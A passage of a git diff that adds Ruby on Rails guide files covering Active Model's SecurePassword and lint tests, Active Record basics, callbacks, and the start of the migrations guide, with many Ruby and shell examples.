'Nome' + ``` + +```ruby +Person.human_attribute_name('name') # => "Nome" +``` + +### Lint Tests + +`ActiveModel::Lint::Tests` allows you to test whether an object is compliant with +the Active Model API. + +* `app/models/person.rb` + + ```ruby + class Person + include ActiveModel::Model + end + ``` + +* `test/models/person_test.rb` + + ```ruby + require 'test_helper' + + class PersonTest < ActiveSupport::TestCase + include ActiveModel::Lint::Tests + + setup do + @model = Person.new + end + end + ``` + +```bash +$ rails test + +Run options: --seed 14596 + +# Running: + +...... + +Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s. + +6 runs, 30 assertions, 0 failures, 0 errors, 0 skips +``` + +An object is not required to implement all APIs in order to work with +Action Pack. This module only intends to provide guidance in case you want all +features out of the box. + +### SecurePassword + +`ActiveModel::SecurePassword` provides a way to securely store any +password in an encrypted form. When you include this module, a +`has_secure_password` class method is provided which defines +a `password` accessor with certain validations on it by default. + +#### Requirements + +`ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'), +so include this gem in your `Gemfile` to use `ActiveModel::SecurePassword` correctly. +In order to make this work, the model must have an accessor named `XXX_digest`. +Where `XXX` is the attribute name of your desired password. +The following validations are added automatically: + +1. Password should be present. +2. Password should be equal to its confirmation (provided `XXX_confirmation` is passed along). +3. The maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends) + +#### Examples + +```ruby +class Person + include ActiveModel::SecurePassword + has_secure_password + has_secure_password :recovery_password, validations: false + + attr_accessor :password_digest, :recovery_password_digest +end + +person = Person.new + +# When password is blank. +person.valid? # => false + +# When the confirmation doesn't match the password. +person.password = 'aditya' +person.password_confirmation = 'nomatch' +person.valid? # => false + +# When the length of password exceeds 72. +person.password = person.password_confirmation = 'a' * 100 +person.valid? # => false + +# When only password is supplied with no password_confirmation. +person.password = 'aditya' +person.valid? # => true + +# When all validations are passed. +person.password = person.password_confirmation = 'aditya' +person.valid? # => true + +person.recovery_password = "42password" + +person.authenticate('aditya') # => person +person.authenticate('notright') # => false +person.authenticate_password('aditya') # => person +person.authenticate_password('notright') # => false + +person.authenticate_recovery_password('42password') # => person +person.authenticate_recovery_password('notright') # => false + +person.password_digest # => "$2a$04$gF8RfZdoXHvyTjHhiU4ZsO.kQqV9oonYZu31PRE4hLQn3xM2qkpIy" +person.recovery_password_digest # => "$2a$04$iOfhwahFymCs5weB3BNH/uXkTG65HR.qpW.bNhEjFP3ftli3o5DQC" +``` diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md new file mode 100644 index 0000000000..a67e2924d7 --- /dev/null +++ b/guides/source/active_record_basics.md @@ -0,0 +1,393 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Record Basics +==================== + +This guide is an introduction to Active Record. + +After reading this guide, you will know: + +* What Object Relational Mapping and Active Record are and how they are used in + Rails. +* How Active Record fits into the Model-View-Controller paradigm. +* How to use Active Record models to manipulate data stored in a relational + database. +* Active Record schema naming conventions. +* The concepts of database migrations, validations, and callbacks. + +-------------------------------------------------------------------------------- + +What is Active Record? +---------------------- + +Active Record is the M in [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) - the +model - which is the layer of the system responsible for representing business +data and logic. Active Record facilitates the creation and use of business +objects whose data requires persistent storage to a database. It is an +implementation of the Active Record pattern which itself is a description of an +Object Relational Mapping system. + +### The Active Record Pattern + +[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html) +in his book _Patterns of Enterprise Application Architecture_. In +Active Record, objects carry both persistent data and behavior which +operates on that data. Active Record takes the opinion that ensuring +data access logic as part of the object will educate users of that +object on how to write to and read from the database. + +### Object Relational Mapping + +[Object Relational Mapping](https://en.wikipedia.org/wiki/Object-relational_mapping), commonly referred to as its abbreviation ORM, is +a technique that connects the rich objects of an application to tables in +a relational database management system. Using ORM, the properties and +relationships of the objects in an application can be easily stored and +retrieved from a database without writing SQL statements directly and with less +overall database access code. + +NOTE: If you are not familiar enough with relational database management systems (RDBMS) or structured query language (SQL), please go through [this tutorial](https://www.w3schools.com/sql/default.asp) (or [this one](http://www.sqlcourse.com/)) or study them by other means. Understanding how relational databases work is crucial to understanding Active Records and Rails in general. + +### Active Record as an ORM Framework + +Active Record gives us several mechanisms, the most important being the ability +to: + +* Represent models and their data. +* Represent associations between these models. +* Represent inheritance hierarchies through related models. +* Validate models before they get persisted to the database. +* Perform database operations in an object-oriented fashion. + +Convention over Configuration in Active Record +---------------------------------------------- + +When writing applications using other programming languages or frameworks, it +may be necessary to write a lot of configuration code. This is particularly true +for ORM frameworks in general. However, if you follow the conventions adopted by +Rails, you'll need to write very little configuration (in some cases no +configuration at all) when creating Active Record models. The idea is that if +you configure your applications in the very same way most of the time then this +should be the default way. Thus, explicit configuration would be needed +only in those cases where you can't follow the standard convention. + +### Naming Conventions + +By default, Active Record uses some naming conventions to find out how the +mapping between models and database tables should be created. Rails will +pluralize your class names to find the respective database table. So, for +a class `Book`, you should have a database table called **books**. The Rails +pluralization mechanisms are very powerful, being capable of pluralizing (and +singularizing) both regular and irregular words. When using class names composed +of two or more words, the model class name should follow the Ruby conventions, +using the CamelCase form, while the table name must contain the words separated +by underscores. Examples: + +* Model Class - Singular with the first letter of each word capitalized (e.g., +`BookClub`). +* Database Table - Plural with underscores separating words (e.g., `book_clubs`). + +| Model / Class | Table / Schema | +| ---------------- | -------------- | +| `Article` | `articles` | +| `LineItem` | `line_items` | +| `Deer` | `deers` | +| `Mouse` | `mice` | +| `Person` | `people` | + + +### Schema Conventions + +Active Record uses naming conventions for the columns in database tables, +depending on the purpose of these columns. + +* **Foreign keys** - These fields should be named following the pattern + `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the + fields that Active Record will look for when you create associations between + your models. +* **Primary keys** - By default, Active Record will use an integer column named + `id` as the table's primary key. When using [Active Record + Migrations](active_record_migrations.html) to create your tables, this column will be + automatically created. + +There are also some optional column names that will add additional features +to Active Record instances: + +* `created_at` - Automatically gets set to the current date and time when the + record is first created. +* `updated_at` - Automatically gets set to the current date and time whenever + the record is created or updated. +* `lock_version` - Adds [optimistic + locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to + a model. +* `type` - Specifies that the model uses [Single Table + Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance). +* `(association_name)_type` - Stores the type for + [polymorphic associations](association_basics.html#polymorphic-associations). +* `(table_name)_count` - Used to cache the number of belonging objects on + associations. For example, a `comments_count` column in an `Article` class that + has many instances of `Comment` will cache the number of existent comments + for each article. + +NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. + +Creating Active Record Models +----------------------------- + +It is very easy to create Active Record models. All you have to do is to +subclass the `ApplicationRecord` class and you're good to go: + +```ruby +class Product < ApplicationRecord +end +``` + +This will create a `Product` model, mapped to a `products` table at the +database. By doing this you'll also have the ability to map the columns of each +row in that table with the attributes of the instances of your model. Suppose +that the `products` table was created using an SQL (or one of its extensions) statement like: + +```sql +CREATE TABLE products ( + id int(11) NOT NULL auto_increment, + name varchar(255), + PRIMARY KEY (id) +); +``` + +Schema above declares a table with two columns: `id` and `name`. Each row of +this table represents a certain product with these two parameters. Thus, you +would be able to write code like the following: + +```ruby +p = Product.new +p.name = "Some Book" +puts p.name # "Some Book" +``` + +Overriding the Naming Conventions +--------------------------------- + +What if you need to follow a different naming convention or need to use your +Rails application with a legacy database? No problem, you can easily override +the default conventions. + +`ApplicationRecord` inherits from `ActiveRecord::Base`, which defines a +number of helpful methods. You can use the `ActiveRecord::Base.table_name=` +method to specify the table name that should be used: + +```ruby +class Product < ApplicationRecord + self.table_name = "my_products" +end +``` + +If you do so, you will have to define manually the class name that is hosting +the fixtures (my_products.yml) using the `set_fixture_class` method in your test +definition: + +```ruby +class ProductTest < ActiveSupport::TestCase + set_fixture_class my_products: Product + fixtures :my_products + ... +end +``` + +It's also possible to override the column that should be used as the table's +primary key using the `ActiveRecord::Base.primary_key=` method: + +```ruby +class Product < ApplicationRecord + self.primary_key = "product_id" +end +``` + +NOTE: Active Record does not support using non-primary key columns named `id`. + +CRUD: Reading and Writing Data +------------------------------ + +CRUD is an acronym for the four verbs we use to operate on data: **C**reate, +**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods +to allow an application to read and manipulate data stored within its tables. + +### Create + +Active Record objects can be created from a hash, a block, or have their +attributes manually set after creation. The `new` method will return a new +object while `create` will return the object and save it to the database. + +For example, given a model `User` with attributes of `name` and `occupation`, +the `create` method call will create and save a new record into the database: + +```ruby +user = User.create(name: "David", occupation: "Code Artist") +``` + +Using the `new` method, an object can be instantiated without being saved: + +```ruby +user = User.new +user.name = "David" +user.occupation = "Code Artist" +``` + +A call to `user.save` will commit the record to the database. + +Finally, if a block is provided, both `create` and `new` will yield the new +object to that block for initialization: + +```ruby +user = User.new do |u| + u.name = "David" + u.occupation = "Code Artist" +end +``` + +### Read + +Active Record provides a rich API for accessing data within a database. Below +are a few examples of different data access methods provided by Active Record. + +```ruby +# return a collection with all users +users = User.all +``` + +```ruby +# return the first user +user = User.first +``` + +```ruby +# return the first user named David +david = User.find_by(name: 'David') +``` + +```ruby +# find all users named David who are Code Artists and sort by created_at in reverse chronological order +users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc) +``` + +You can learn more about querying an Active Record model in the [Active Record +Query Interface](active_record_querying.html) guide. + +### Update + +Once an Active Record object has been retrieved, its attributes can be modified +and it can be saved to the database. + +```ruby +user = User.find_by(name: 'David') +user.name = 'Dave' +user.save +``` + +A shorthand for this is to use a hash mapping attribute names to the desired +value, like so: + +```ruby +user = User.find_by(name: 'David') +user.update(name: 'Dave') +``` + +This is most useful when updating several attributes at once. If, on the other +hand, you'd like to update several records in bulk, you may find the +`update_all` class method useful: + +```ruby +User.update_all "max_login_attempts = 3, must_change_password = 'true'" +``` + +### Delete + +Likewise, once retrieved an Active Record object can be destroyed which removes +it from the database. + +```ruby +user = User.find_by(name: 'David') +user.destroy +``` + +If you'd like to delete several records in bulk, you may use `destroy_all` +method: + +```ruby +# find and delete all users named David +User.where(name: 'David').destroy_all + +# delete all users +User.destroy_all +``` + +Validations +----------- + +Active Record allows you to validate the state of a model before it gets written +into the database. There are several methods that you can use to check your +models and validate that an attribute value is not empty, is unique and not +already in the database, follows a specific format, and many more. + +Validation is a very important issue to consider when persisting to the database, so +the methods `save` and `update` take it into account when +running: they return `false` when validation fails and they don't actually +perform any operations on the database. All of these have a bang counterpart (that +is, `save!` and `update!`), which are stricter in that +they raise the exception `ActiveRecord::RecordInvalid` if validation fails. +A quick example to illustrate: + +```ruby +class User < ApplicationRecord + validates :name, presence: true +end + +user = User.new +user.save # => false +user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +``` + +You can learn more about validations in the [Active Record Validations +guide](active_record_validations.html). + +Callbacks +--------- + +Active Record callbacks allow you to attach code to certain events in the +life-cycle of your models. This enables you to add behavior to your models by +transparently executing code when those events occur, like when you create a new +record, update it, destroy it, and so on. You can learn more about callbacks in +the [Active Record Callbacks guide](active_record_callbacks.html). + +Migrations +---------- + +Rails provides a domain-specific language for managing a database schema called +migrations. Migrations are stored in files which are executed against any +database that Active Record supports using `rake`. Here's a migration that +creates a table: + +```ruby +class CreatePublications < ActiveRecord::Migration[5.0] + def change + create_table :publications do |t| + t.string :title + t.text :description + t.references :publication_type + t.integer :publisher_id + t.string :publisher_type + t.boolean :single_issue + + t.timestamps + end + add_index :publications, :publication_type_id + end +end +``` + +Rails keeps track of which files have been committed to the database and +provides rollback features. To actually create the table, you'd run `rails db:migrate` +and to roll it back, `rails db:rollback`. + +Note that the above code is database-agnostic: it will run in MySQL, +PostgreSQL, Oracle, and others. You can learn more about migrations in the +[Active Record Migrations guide](active_record_migrations.html). diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md new file mode 100644 index 0000000000..ebdee446f9 --- /dev/null +++ b/guides/source/active_record_callbacks.md @@ -0,0 +1,469 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Record Callbacks +======================= + +This guide teaches you how to hook into the life cycle of your Active Record +objects. + +After reading this guide, you will know: + +* The life cycle of Active Record objects. +* How to create callback methods that respond to events in the object life cycle. +* How to create special classes that encapsulate common behavior for your callbacks. + +-------------------------------------------------------------------------------- + +The Object Life Cycle +--------------------- + +During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this *object life cycle* so that you can control your application and its data. + +Callbacks allow you to trigger logic before or after an alteration of an object's state. + +Callbacks Overview +------------------ + +Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. + +### Callback Registration + +In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: + +```ruby +class User < ApplicationRecord + validates :login, :email, presence: true + + before_validation :ensure_login_has_a_value + + private + def ensure_login_has_a_value + if login.nil? + self.login = email unless email.blank? + end + end +end +``` + +The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: + +```ruby +class User < ApplicationRecord + validates :login, :email, presence: true + + before_create do + self.name = login.capitalize if name.blank? + end +end +``` + +Callbacks can also be registered to only fire on certain life cycle events: + +```ruby +class User < ApplicationRecord + before_validation :normalize_name, on: :create + + # :on takes an array as well + after_validation :set_location, on: [ :create, :update ] + + private + def normalize_name + self.name = name.downcase.titleize + end + + def set_location + self.location = LocationService.query(self) + end +end +``` + +It is considered good practice to declare callback methods as private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. + +Available Callbacks +------------------- + +Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations: + +### Creating an Object + +* `before_validation` +* `after_validation` +* `before_save` +* `around_save` +* `before_create` +* `around_create` +* `after_create` +* `after_save` +* `after_commit/after_rollback` + +### Updating an Object + +* `before_validation` +* `after_validation` +* `before_save` +* `around_save` +* `before_update` +* `around_update` +* `after_update` +* `after_save` +* `after_commit/after_rollback` + +### Destroying an Object + +* `before_destroy` +* `around_destroy` +* `after_destroy` +* `after_commit/after_rollback` + +WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed. + +NOTE: `before_destroy` callbacks should be placed before `dependent: :destroy` +associations (or use the `prepend: true` option), to ensure they execute before +the records are deleted by `dependent: :destroy`. + +### `after_initialize` and `after_find` + +The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method. + +The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined. + +The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks. + +```ruby +class User < ApplicationRecord + after_initialize do |user| + puts "You have initialized an object!" + end + + after_find do |user| + puts "You have found an object!" + end +end + +>> User.new +You have initialized an object! +=> #<User id: nil> + +>> User.first +You have found an object! +You have initialized an object! +=> #<User id: 1> +``` + +### `after_touch` + +The `after_touch` callback will be called whenever an Active Record object is touched. + +```ruby +class User < ApplicationRecord + after_touch do |user| + puts "You have touched an object" + end +end + +>> u = User.create(name: 'Kuldeep') +=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49"> + +>> u.touch +You have touched an object +=> true +``` + +It can be used along with `belongs_to`: + +```ruby +class Employee < ApplicationRecord + belongs_to :company, touch: true + after_touch do + puts 'An Employee was touched' + end +end + +class Company < ApplicationRecord + has_many :employees + after_touch :log_when_employees_or_company_touched + + private + def log_when_employees_or_company_touched + puts 'Employee/Company was touched' + end +end + +>> @employee = Employee.last +=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05"> + +# triggers @employee.company.touch +>> @employee.touch +An Employee was touched +Employee/Company was touched +=> true +``` + +Running Callbacks +----------------- + +The following methods trigger callbacks: + +* `create` +* `create!` +* `destroy` +* `destroy!` +* `destroy_all` +* `save` +* `save!` +* `save(validate: false)` +* `toggle!` +* `touch` +* `update_attribute` +* `update` +* `update!` +* `valid?` + +Additionally, the `after_find` callback is triggered by the following finder methods: + +* `all` +* `first` +* `find` +* `find_by` +* `find_by_*` +* `find_by_*!` +* `find_by_sql` +* `last` + +The `after_initialize` callback is triggered every time a new object of the class is initialized. + +NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders) + +Skipping Callbacks +------------------ + +Just as with validations, it is also possible to skip callbacks by using the following methods: + +* `decrement` +* `decrement_counter` +* `delete` +* `delete_all` +* `increment` +* `increment_counter` +* `toggle` +* `update_column` +* `update_columns` +* `update_all` +* `update_counters` + +These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. + +Halting Execution +----------------- + +As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. + +The whole callback chain is wrapped in a transaction. If any callback raises an exception, the execution chain gets halted and a ROLLBACK is issued. To intentionally stop a chain use: + +```ruby +throw :abort +``` + +WARNING. Any exception that is not `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` may break code that does not expect methods like `save` and `update` (which normally try to return `true` or `false`) to raise an exception. + +Relational Callbacks +-------------------- + +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Article` model: + +```ruby +class User < ApplicationRecord + has_many :articles, dependent: :destroy +end + +class Article < ApplicationRecord + after_destroy :log_destroy_action + + def log_destroy_action + puts 'Article destroyed' + end +end + +>> user = User.first +=> #<User id: 1> +>> user.articles.create! +=> #<Article id: 1, user_id: 1> +>> user.destroy +Article destroyed +=> #<User id: 1> +``` + +Conditional Callbacks +--------------------- + +As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option. + +### Using `:if` and `:unless` with a `Symbol` + +You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. + +```ruby +class Order < ApplicationRecord + before_save :normalize_card_number, if: :paid_with_card? +end +``` + +### Using `:if` and `:unless` with a `Proc` + +Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners: + +```ruby +class Order < ApplicationRecord + before_save :normalize_card_number, + if: Proc.new { |order| order.paid_with_card? } +end +``` + +As the proc is evaluated in the context of the object, it is also possible to write this as: + +```ruby +class Order < ApplicationRecord + before_save :normalize_card_number, if: Proc.new { paid_with_card? } +end +``` + +### Multiple Conditions for Callbacks + +When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration: + +```ruby +class Comment < ApplicationRecord + after_create :send_email_to_author, if: :author_wants_emails?, + unless: Proc.new { |comment| comment.article.ignore_comments? } +end +``` + +Callback Classes +---------------- + +Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. + +Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model: + +```ruby +class PictureFileCallbacks + def after_destroy(picture_file) + if File.exist?(picture_file.filepath) + File.delete(picture_file.filepath) + end + end +end +``` + +When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: + +```ruby +class PictureFile < ApplicationRecord + after_destroy PictureFileCallbacks.new +end +``` + +Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: + +```ruby +class PictureFileCallbacks + def self.after_destroy(picture_file) + if File.exist?(picture_file.filepath) + File.delete(picture_file.filepath) + end + end +end +``` + +If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object. + +```ruby +class PictureFile < ApplicationRecord + after_destroy PictureFileCallbacks +end +``` + +You can declare as many callbacks as you want inside your callback classes. + +Transaction Callbacks +--------------------- + +There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. + +Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error. + +```ruby +PictureFile.transaction do + picture_file_1.destroy + picture_file_2.save! +end +``` + +By using the `after_commit` callback we can account for this case. + +```ruby +class PictureFile < ApplicationRecord + after_commit :delete_picture_file_from_disk, on: :destroy + + def delete_picture_file_from_disk + if File.exist?(filepath) + File.delete(filepath) + end + end +end +``` + +NOTE: The `:on` option specifies when a callback will be fired. If you +don't supply the `:on` option the callback will fire for every action. + +Since using `after_commit` callback only on create, update, or delete is +common, there are aliases for those operations: + +* `after_create_commit` +* `after_update_commit` +* `after_destroy_commit` + +```ruby +class PictureFile < ApplicationRecord + after_destroy_commit :delete_picture_file_from_disk + + def delete_picture_file_from_disk + if File.exist?(filepath) + File.delete(filepath) + end + end +end +``` + +WARNING. When a transaction completes, the `after_commit` or `after_rollback` callbacks are called for all models created, updated, or destroyed within that transaction. However, if an exception is raised within one of these callbacks, the exception will bubble up and any remaining `after_commit` or `after_rollback` methods will _not_ be executed. As such, if your callback code could raise an exception, you'll need to rescue it and handle it within the callback in order to allow other callbacks to run. + +WARNING. The code executed within `after_commit` or `after_rollback` callbacks is itself not enclosed within a transaction. + +WARNING. Using both `after_create_commit` and `after_update_commit` in the same model will only allow the last callback defined to take effect, and will override all others. + +```ruby +class User < ApplicationRecord + after_create_commit :log_user_saved_to_db + after_update_commit :log_user_saved_to_db + + private + def log_user_saved_to_db + puts 'User was saved to database' + end +end + +# prints nothing +>> @user = User.create + +# updating @user +>> @user.save +=> User was saved to database +``` + +To register callbacks for both create and update actions, use `after_commit` instead. + +```ruby +class User < ApplicationRecord + after_commit :log_user_saved_to_db, on: [:create, :update] +end +``` diff --git a/guides/source/active_record_migrations.md b/guides/source/active_record_migrations.md new file mode 100644 index 0000000000..905c76e5c1 --- /dev/null +++ b/guides/source/active_record_migrations.md @@ -0,0 +1,1071 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Record Migrations +======================== + +Migrations are a feature of Active Record that allows you to evolve your +database schema over time. Rather than write schema modifications in pure SQL, +migrations allow you to use an easy Ruby DSL to describe changes to your +tables. + +After reading this guide, you will know: + +* The generators you can use to create them. +* The methods Active Record provides to manipulate your database. +* The rails commands that manipulate migrations and your schema. +* How migrations relate to `schema.rb`. + +-------------------------------------------------------------------------------- + +Migration Overview +------------------ + +Migrations are a convenient way to +[alter your database schema over time](https://en.wikipedia.org/wiki/Schema_migration) +in a consistent and easy way. They use a Ruby DSL so that you don't have to +write SQL by hand, allowing your schema and changes to be database independent. + +You can think of each migration as being a new 'version' of the database. A +schema starts off with nothing in it, and each migration modifies it to add or +remove tables, columns, or entries. Active Record knows how to update your +schema along this timeline, bringing it from whatever point it is in the +history to the latest version. Active Record will also update your +`db/schema.rb` file to match the up-to-date structure of your database. + +Here's an example of a migration: + +```ruby +class CreateProducts < ActiveRecord::Migration[5.0] + def change + create_table :products do |t| + t.string :name + t.text :description + + t.timestamps + end + end +end +``` + +This migration adds a table called `products` with a string column called +`name` and a text column called `description`. A primary key column called `id` +will also be added implicitly, as it's the default primary key for all Active +Record models. The `timestamps` macro adds two columns, `created_at` and +`updated_at`. These special columns are automatically managed by Active Record +if they exist. + +Note that we define the change that we want to happen moving forward in time. +Before this migration is run, there will be no table. After, the table will +exist. Active Record knows how to reverse this migration as well: if we roll +this migration back, it will remove the table. + +On databases that support transactions with statements that change the schema, +migrations are wrapped in a transaction. If the database does not support this +then when a migration fails the parts of it that succeeded will not be rolled +back. You will have to rollback the changes that were made by hand. + +NOTE: There are certain queries that can't run inside a transaction. If your +adapter supports DDL transactions you can use `disable_ddl_transaction!` to +disable them for a single migration. + +If you wish for a migration to do something that Active Record doesn't know how +to reverse, you can use `reversible`: + +```ruby +class ChangeProductsPrice < ActiveRecord::Migration[5.0] + def change + reversible do |dir| + change_table :products do |t| + dir.up { t.change :price, :string } + dir.down { t.change :price, :integer } + end + end + end +end +``` + +Alternatively, you can use `up` and `down` instead of `change`: + +```ruby +class ChangeProductsPrice < ActiveRecord::Migration[5.0] + def up + change_table :products do |t| + t.change :price, :string + end + end + + def down + change_table :products do |t| + t.change :price, :integer + end + end +end +``` + +Creating a Migration +-------------------- + +### Creating a Standalone Migration + +Migrations are stored as files in the `db/migrate` directory, one for each +migration class. The name of the file is of the form +`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp +identifying the migration followed by an underscore followed by the name +of the migration. The name of the migration class (CamelCased version) +should match the latter part of the file name. For example +`20080906120000_create_products.rb` should define class `CreateProducts` and +`20080906120001_add_details_to_products.rb` should define +`AddDetailsToProducts`. Rails uses this timestamp to determine which migration +should be run and in what order, so if you're copying a migration from another +application or generate a file yourself, be aware of its position in the order. + +Of course, calculating timestamps is no fun, so Active Record provides a +generator to handle making it for you: + +```bash +$ rails generate migration AddPartNumberToProducts +``` + +This will create an appropriately named empty migration: + +```ruby +class AddPartNumberToProducts < ActiveRecord::Migration[5.0] + def change + end +end +``` + +This generator can do much more than append a timestamp to the file name. +Based on naming conventions and additional (optional) arguments it can +also start fleshing out the migration. + +If the migration name is of the form "AddColumnToTable" or +"RemoveColumnFromTable" and is followed by a list of column names and +types then a migration containing the appropriate `add_column` and +`remove_column` statements will be created. + +```bash +$ rails generate migration AddPartNumberToProducts part_number:string +``` + +will generate + +```ruby +class AddPartNumberToProducts < ActiveRecord::Migration[5.0] + def change + add_column :products, :part_number, :string + end +end +``` + +If you'd like to add an index on the new column, you can do that as well: + +```bash +$ rails generate migration AddPartNumberToProducts part_number:string:index +``` + +will generate + +```ruby +class AddPartNumberToProducts < ActiveRecord::Migration[5.0] + def change + add_column :products, :part_number, :string + add_index :products, :part_number + end +end +``` + + +Similarly, you can generate a migration to remove a column from the command line: + +```bash +$ rails generate migration RemovePartNumberFromProducts part_number:string +``` + +generates + +```ruby +class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0] + def change + remove_column :products, :part_number, :string + end +end +``` + +You are not limited to one magically generated column. For example: + +```bash +$ rails generate migration AddDetailsToProducts part_number:string price:decimal +``` + +generates + +```ruby +class AddDetailsToProducts < ActiveRecord::Migration[5.0] + def change + add_column :products, :part_number, :string + add_column :products, :price, :decimal + end +end +``` + +If the migration name is of the form "CreateXXX" and is +followed by a list of column names and types then a migration creating the table +XXX with the columns listed will be generated. For example: + +```bash +$ rails generate migration CreateProducts name:string part_number:string +``` + +generates + +```ruby +class CreateProducts < ActiveRecord::Migration[5.0] + def change + create_table :products do |t| + t.string :name + t.string :part_number + end + end +end +``` + +As always, what has been generated for you is just a starting point. You can add +or remove from it as you see fit by editing the +`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file. + +Also, the generator accepts column type as `references` (also available as +`belongs_to`). For instance: + +```bash +$ rails generate migration AddUserRefToProducts user:references +``` + +generates + +```ruby +class AddUserRefToProducts < ActiveRecord::Migration[5.0] + def change + add_reference :products, :user, foreign_key: true + end +end +``` + +This migration will create a `user_id` column and appropriate index. +For more `add_reference` options, visit the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference). + +There is also a generator which will produce join tables if `JoinTable` is part of the name: + +```bash +$ rails g migration CreateJoinTableCustomerProduct customer product +``` + +will produce the following migration: + +```ruby +class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0] + def change + create_join_table :customers, :products do |t| + # t.index [:customer_id, :product_id] + # t.index [:product_id, :customer_id] + end + end +end +``` + +### Model Generators + +The model and scaffold generators will create migrations appropriate for adding +a new model. This migration will already contain instructions for creating the +relevant table. If you tell Rails what columns you want, then statements for +adding these columns will also be created. For example, running: + +```bash +$ rails generate model Product name:string description:text +``` + +will create a migration that looks like this + +```ruby +class CreateProducts < ActiveRecord::Migration[5.0] + def change + create_table :products do |t| + t.string :name + t.text :description + + t.timestamps + end + end +end +``` + +You can append as many column name/type pairs as you want. + +### Passing Modifiers + +Some commonly used [type modifiers](#column-modifiers) can be passed directly on +the command line. They are enclosed by curly braces and follow the field type: + +For instance, running: + +```bash +$ rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic} +``` + +will produce a migration that looks like this + +```ruby +class AddDetailsToProducts < ActiveRecord::Migration[5.0] + def change + add_column :products, :price, :decimal, precision: 5, scale: 2 + 